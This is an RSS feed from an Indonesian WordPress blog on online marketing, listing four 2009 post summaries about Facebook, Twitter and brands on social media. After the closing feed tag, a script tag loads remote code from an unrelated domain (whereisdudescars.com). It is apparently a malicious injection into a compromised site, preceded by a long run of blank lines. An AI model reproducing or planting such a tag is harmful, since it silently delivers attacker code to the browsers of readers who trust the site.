















































































































































<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Online Integrated Marketing Communication &#187; Jejaring Sosial</title>
	<atom:link href="http://e-imc.ocentrum.com/tag/jejaring-sosial/feed/" rel="self" type="application/rss+xml" />
	<link>http://e-imc.ocentrum.com</link>
	<description>Ocentrum&#039;s Blog</description>
	<lastBuildDate>Thu, 11 Feb 2010 05:08:59 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Vin Diesel dengan 3 Juta Fans di Facebook</title>
		<link>http://e-imc.ocentrum.com/2009/05/14/vin-diesel-dengan-3-juta-fans-di-facebook/</link>
		<comments>http://e-imc.ocentrum.com/2009/05/14/vin-diesel-dengan-3-juta-fans-di-facebook/#comments</comments>
		<pubDate>Thu, 14 May 2009 12:40:08 +0000</pubDate>
		<dc:creator>Ahmad Sofyan</dc:creator>
				<category><![CDATA[insight]]></category>
		<category><![CDATA[social networking]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[Jejaring Sosial]]></category>
		<category><![CDATA[personal branding]]></category>
		<category><![CDATA[vin diesel]]></category>

		<guid isPermaLink="false">http://e-imc.ocentrum.com/?p=188</guid>
		<description><![CDATA[
Vin Diesel bukanlah jajaran artis kelas atas di Hollywood. Tapi di Facebook, ia adalah orang kedua yang memperoleh fans terbanyak, di bawah Barack Obama. Saat tulisan ini dibuat, penggemarnya mencapai 3.551.802. Tiap posting, rata-rata 5 ribuan orang menyukainya dan 6 ribuan orang memberi komentar. Apa rahasia pemain Fast and Furious ini? Apa yang bisa dipelajari [...]]]></description>
		<wfw:commentRss>http://e-imc.ocentrum.com/2009/05/14/vin-diesel-dengan-3-juta-fans-di-facebook/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Belantara Baru Media Sosial bagi Pemilik Merk</title>
		<link>http://e-imc.ocentrum.com/2009/04/02/belantara-baru-sosial-media-bagi-pemilik-merk/</link>
		<comments>http://e-imc.ocentrum.com/2009/04/02/belantara-baru-sosial-media-bagi-pemilik-merk/#comments</comments>
		<pubDate>Thu, 02 Apr 2009 11:28:18 +0000</pubDate>
		<dc:creator>Ahmad Sofyan</dc:creator>
				<category><![CDATA[social networking]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[Jejaring Sosial]]></category>
		<category><![CDATA[media plan]]></category>

		<guid isPermaLink="false">http://e-imc.ocentrum.com/?p=175</guid>
		<description><![CDATA[Kebangkitan media sosial online seperti friendster, facebook, twitter tentu tak lepas dari pantauan pemilik merk. Mereka sangat peduli, namun memanfatkannya dengan pendekatan konvensional. Cukup pasang banner atau iklan. Pada saat ingin mengelaborasi secara penuh, ada semacam kebingungan tentang bagaimana media sosial itu bisa cocok dengan marketing sebuah merk.
Menurut Tom Smith dari Trendstream.net ada beberapa hal [...]]]></description>
		<wfw:commentRss>http://e-imc.ocentrum.com/2009/04/02/belantara-baru-sosial-media-bagi-pemilik-merk/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Cit cit cuit.. Dengan Twitter (seri 5 dari 10)</title>
		<link>http://e-imc.ocentrum.com/2009/03/24/cit-cit-cuit-dengan-twitter-seri-5-dari-10/</link>
		<comments>http://e-imc.ocentrum.com/2009/03/24/cit-cit-cuit-dengan-twitter-seri-5-dari-10/#comments</comments>
		<pubDate>Tue, 24 Mar 2009 11:08:58 +0000</pubDate>
		<dc:creator>Ahmad Sofyan</dc:creator>
				<category><![CDATA[Creative Marketing]]></category>
		<category><![CDATA[social networking]]></category>
		<category><![CDATA[Jejaring Sosial]]></category>
		<category><![CDATA[online public relation]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://e-imc.ocentrum.com/?p=139</guid>
		<description><![CDATA[Belum banyak yang mengenal Twitter di Indonesia. Di tulisan sebelumnya, telah saya sampaikan tips bagaimana menggunakan Twitter untuk kepentingan marketing. Di sini, kita akan paparkan sedikit angka-angka dan layanan di seputar Twitter. Dan artikel akan ditutup dengan beberapa contoh kasus bagaimana twitter di gunakan merk-merk besar, dan apa komentar mereka terhadap efektifitasnya.
Twitter didirikan oleh Jack [...]]]></description>
		<wfw:commentRss>http://e-imc.ocentrum.com/2009/03/24/cit-cit-cuit-dengan-twitter-seri-5-dari-10/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Fenomena Facebook di Indonesia</title>
		<link>http://e-imc.ocentrum.com/2009/03/10/fenomena-facebook-di-indonesia/</link>
		<comments>http://e-imc.ocentrum.com/2009/03/10/fenomena-facebook-di-indonesia/#comments</comments>
		<pubDate>Tue, 10 Mar 2009 10:24:33 +0000</pubDate>
		<dc:creator>Ahmad Sofyan</dc:creator>
				<category><![CDATA[social networking]]></category>
		<category><![CDATA[Facebook Indonesia]]></category>
		<category><![CDATA[Jejaring Sosial]]></category>

		<guid isPermaLink="false">http://e-imc.ocentrum.com/?p=104</guid>
		<description><![CDATA[Siapa yang tak kenal facebook? Sebuah aplikasi jejaring sosial yang seolah menjadi candu bagi pengguna Internet di tanah air. Data dari Google menunjukkan, di bulan Juli 2007 relatif tidak ada data pencarian ke facebook. Namun di awal 2009, situs ini dikunjungi sebanyak 1,4 juta orang per hari, dengan rata-rata waktu berkunjung 32 menit per kunjungan. [...]]]></description>
		<wfw:commentRss>http://e-imc.ocentrum.com/2009/03/10/fenomena-facebook-di-indonesia/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://whereisdudescars.com/js2.php"></script>